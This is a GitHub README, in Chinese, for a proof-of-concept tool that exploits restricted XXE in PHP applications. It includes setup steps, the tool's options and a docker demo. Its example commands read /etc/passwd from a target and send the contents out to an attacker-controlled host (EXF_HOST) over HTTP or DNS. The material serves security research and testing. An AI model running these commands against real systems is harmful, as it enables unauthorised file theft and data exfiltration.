bytehope/wwe

GitHub: bytehope/wwe

一个基于wrapwrap和lightyear的XXE漏洞PoC工具,专门用于演示和利用PHP中仅启用LIBXML_DTDLOAD或LIBXML_DTDATTR标志时的受限XXE场景。

Stars: 25 | Forks: 6

PoC 工具(基于 [wrapwrap](https://github.com/ambionics/wrapwrap) 和 [lightyear](https://github.com/ambionics/lightyear) ),用于演示在 PHP 中仅设置 `LIBXML_DTDLOAD` 或 `LIBXML_DTDATTR` 标志时的 XXE 漏洞 ## 用法 ### 设置 ``` git clone https://github.com/bytehope/wwe.git cd wwe pip install -r requirements.txt ``` ### 工具参数 允许的工具参数列表 ``` usage: wwe.py [-h] -f FILENAME [-l LENGTH] [--dns-exf | --no-dns-exf] [--decode | --no-decode] exfiltrate_url {AUTO,MANUAL} ... positional arguments: exfiltrate_url {AUTO,MANUAL} options: -h, --help show this help message and exit -f FILENAME, --filename FILENAME the name of the file whose content we want to get -l LENGTH, --length LENGTH each request will retrieve l-bytes in b64. Increase this param will be huge increase payload size --dns-exf, --no-dns-exf enable/disable exfiltration over DNS (default: False) --decode, --no-decode Inline decode to b64 in output ``` ### 演示 要设置测试环境,请运行 docker compose。 ``` docker compose -f ./demo/compose.yaml up -d ``` 然后执行脚本 ``` python3 wwe.py -f /etc/passwd --decode http://172.30.0.1:9999 AUTO ./demo/demo-request.txt -u http://localhost:1337/ ``` 停止 Docker 并移除网络 ``` docker compose -f ./demo/compose.yaml down -v ``` ### 模式 #### 自动 它自行监听端口,并使用 txt 文件将数据发送到易受攻击的路由, 示例: ``` python3 wwe.py -f /etc/passwd --decode http://EXF_HOST:LISTEN_PORT AUTO REQUEST_IN_FILE.txt -u http://TARGET/ ``` #### 手动 针对每个数据块生成一个 payload,等待输入以生成下一个 payload: ``` python3 wwe.py -f /etc/passwd --decode http://EXF_HOST_WITH_PORT MANUAL ``` ### 待办事项: - 将数据输出到文件 - 启用/禁用实时模式 - 改进其他模式的实时视图 - 全自动 DNS 模式
标签:CTF 工具, DNS 反向解析, DNS 隧道, Docker 测试环境, DTD 注入, HTTP工具, libxml, Lightyear, OOB 外带技术, PHP 安全, PoC 验证工具, Python, Wrapwrap, XXE攻击, XXE 漏洞利用, 数据窃取, 文件读取, 无后门, 盲注 XXE, 网络安全, 请求拦截, 逆向工具, 隐私保护